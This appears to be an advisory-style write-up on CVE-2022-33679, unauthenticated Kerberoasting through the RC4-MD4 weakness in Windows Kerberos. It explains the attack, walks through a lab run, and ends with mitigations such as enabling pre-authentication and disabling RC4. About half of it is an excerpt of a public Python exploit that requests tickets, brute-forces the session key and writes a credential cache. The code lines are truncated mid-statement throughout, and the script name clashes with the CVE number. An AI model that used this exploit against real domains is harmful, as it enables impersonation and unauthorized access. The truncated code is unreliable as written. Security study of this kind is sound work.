Cve 2022 33679
Cve 2022 33679
Unauthenticated Kerberoasting
Bug 🐞 Privilege Escalation Vulnerability,
Cryptographic Vulnerability
🛡️INTRODUCTION:
Attention: Windows Kerberos Elevation of Privilege
Vulnerability (CVE-2022-33679)
Why this is important:
Brute-force session key: With the weak encryption exposed, the attacker
can attempt to crack the session key using a brute-force attack. This is
easier due to the known weaknesses of RC4-MD4.
Impact: A successful exploit grants the attacker the stolen session key,
potentially allowing them to impersonate legitimate users and access
unauthorized resources.
Proof-of-Concept
Source : https://www.horizon3.ai/attack-research/attack-blogs/from-cve-
2022-33679-to-unauthenticated-kerberoasting/
The proof of concept (PoC) shared on Github executes the attack, acquiring a
Service Ticket (ST) for a specific service. It then stores the ST in a file using the
credential cache (ccache) format. This format, if unfamiliar (as it was to me
initially), adheres to the Kerberos standard for representing Ticket Granting
Tickets (TGTs) and Service Tickets (STs), extensively outlined in Kerberos
documentation. Notably, the Python Impacket library offers several utilities for
The required options for the PoC script are a target and a server name. The
target is a combination of the domain and a user account that has pre-
authentication disabled. The server name is the server you want to
authenticate to. In the example below, the domain is pod13.h3airange.internal , the
user is jsmith2 and the server is the domain
controller dc01.pod13.h3airange.internal . As the screenshot shows, the PoC
requests an AS-REQ and receives the AS-REP. Then it brute forces the session
key 1 byte at a time until it has all 5 bytes. It uses the session key and the TGT
to request a ST from the TGS and then writes it out to disk. As a point of
clarification, the script says that it receives a TGS and writes that to disk. What
it means is it receives a TGS service ticket, which I’ve been calling a ST. That
caused a bit of confusion for me initially which I’ll discuss in a bit below. In
order to use the credentials cache with crackmapexec, we’ll need to export an
environment variable called KRB5CCNAME and set it to the ccache file created by
the PoC. We’ll need to provide crackmapexec with the -k flag which tells it to
use the ccache file from the KRB5CCNAME environment variable.
EXPLOIT
Source : https://github.com/Bdenneu/CVE-2022-33679/blob/main/CVE-
2022-33679.py
try:
rand = random.SystemRandom()
except NotImplementedError:
rand = random
pass
domain = self.__domain.upper()
serverName = Principal('krbtgt/%s'%domain, type=consta
userName = Principal(self.__user, type=constants.Princ
pacRequest = KERB_PA_PAC_REQUEST()
pacRequest['include-pac'] = requestPAC
self.__encodedPacRequest = encoder.encode(pacRequest)
self.__asReq['pvno'] = 5
self.__asReq['msg-type'] = int(constants.ApplicationT
self.__reqBody = seq_set(self.__asReq, 'req-body')
opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.proxiable.value )
self.__reqBody['kdc-options'] = constants.encodeFlag
if domain == '':
raise Exception('Empty Domain not allowed in Kerbe
try:
r = sendReceive(message, domain, self.__kdcHost)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ER
logging.error(" RC4 is not supported")
exit()
else:
raise
return r
encryptedData = EncryptedData()
encryptedData['etype'] = -128
encryptedData['cipher'] = data
encodedEncryptedData = encoder.encode(encryptedData)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
clientName = Principal()
clientName.from_asn1( TGT, 'crealm', 'cname')
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
cipher = ARC4(sessionKey[:8])
encryptedEncodedAuthenticator = cipher.encrypt(b'\x00
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = rsadsi_rc4_md4
apReq['authenticator']['cipher'] = encryptedEncodedAu
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbe
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.Pre
tgsReq['padata'][0]['padata-value'] = encodedApReq
opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.renewable_ok.value
opts.append( constants.KDCOptions.canonicalize.value
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = rand.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(
int(constants.EncryptionTypes.rc
int(constants.EncryptionTypes.de
int(constants.EncryptionTypes.de
)
)
message = encoder.encode(tgsReq)
r = sendReceive(message, self.__domain, self.__kdcHos
return r
ccache = CCache()
ccache.headers = []
header = Header()
header['tag'] = 1
header['taglen'] = 8
header['tagdata'] = b'\xff\xff\xff\xff\x00\x00\x00\x00
ccache.headers.append(header)
tmpPrincipal = Principal()
tmpPrincipal.from_asn1(TGS, 'crealm', 'cname')
ccache.principal = CPrincipal()
ccache.principal.fromPrincipal(tmpPrincipal)
credential = Credential()
server = Principal()
server.from_asn1(encTGSRepPart, 'srealm', 'sname')
tmpServer = CPrincipal()
tmpServer.fromPrincipal(server)
credential['client'] = ccache.principal
credential['server'] = tmpServer
credential['is_skey'] = 0
credential['key'] = KeyBlock()
credential['key']['keytype'] = int(encTGSRepPart['key
credential['key']['keyvalue'] = encTGSRepPart['key'][
credential['key']['keylen'] = len(credential['key']['
credential['time'] = Times()
credential['time']['authtime'] = ccache.toTimeStamp(Ke
credential['time']['starttime'] = ccache.toTimeStamp(K
credential['time']['endtime'] = ccache.toTimeStamp(Ke
# after kb4586793 for cve-2020-17049 this timestamp ma
if encTGSRepPart['renew-till'].hasValue():
credential['time']['renew_till'] = ccache.toTimeS
flags = ccache.reverseFlags(encTGSRepPart['flags'])
credential['tktflags'] = flags
credential['num_address'] = 0
credential.ticket = CountedOctetString()
credential.ticket['data'] = encoder.encode(TGS['ticke
credential.ticket['length'] = len(credential.ticket['d
credential.secondTicket = CountedOctetString()
credential.secondTicket['data'] = b''
credential.secondTicket['length'] = 0
ccache.credentials.append(credential)
return ccache
group = parser.add_argument_group('authentication')
options = parser.parse_args()
# Init the example's logger theme
logger.init(options.ts)
try:
executer = TGTBrute(username, domain, options.serverNa
executer.run()
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error(str(e))
1. Initialization:
2. AS_REQ Generation:
3. TGT Retrieval:
AsREPPlain : Initial known plaintext used for recovering the RC4 flow.
brute-force attack.
5. TGS_REQ Generation:
6. TGS Retrieval:
7. CCache Creation:
: Principal object representing the server for which the TGS was
server
obtained.
TGS_REP message.
Requirements
impacket==0.10.0
arc4==0.3.0
USAGE
usage: CVE-2022-33079.py [-h] [-ts] [-debug] [-dc-ip ip add
Example
MITIGATION
As bad as this could be, it’s fairly straightforward to mitigate. The two
things that make this attack possible are pre-authentication being disabled
and the RC4-MD4 encryption scheme. First, pre-authentication is enabled
by default in Windows domains but is sometimes disabled for legacy
systems or compatibility reasons. It should only be disabled for a individual
accounts. Regular audits of domain accounts will identify any accounts that
have pre-authentication disabled. Make sure it is actually required.
Second, Microsoft has added a flag that disables the RC4-MD4 algorithm
and while it’s recommended that RC4 be disabled, doing so can present it’s
own set of problems. A final option is enforcing Kerberos Armoring
REFERENCES 📚:
https://www.horizon3.ai/attack-research/attack-blogs/from-cve-2022-
33679-to-unauthenticated-kerberoasting/
https://github.com/Bdenneu/CVE-2022-33679/blob/main
https://github.com/Bdenneu/CVE-2022-33679/blob/main/CVE-2022-
33679.py